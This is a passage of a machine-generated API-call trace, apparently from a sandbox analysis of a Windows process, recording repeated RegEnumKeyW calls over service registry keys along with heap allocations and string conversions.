lpUsedDefaultChar=0x0) returned 3 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.481] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0236.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.482] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.482] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.482] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.482] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0236.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.483] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.483] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.483] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.483] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.484] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.484] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.484] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0236.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.484] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.485] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.485] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.485] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0236.486] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0236.487] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0236.488] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, 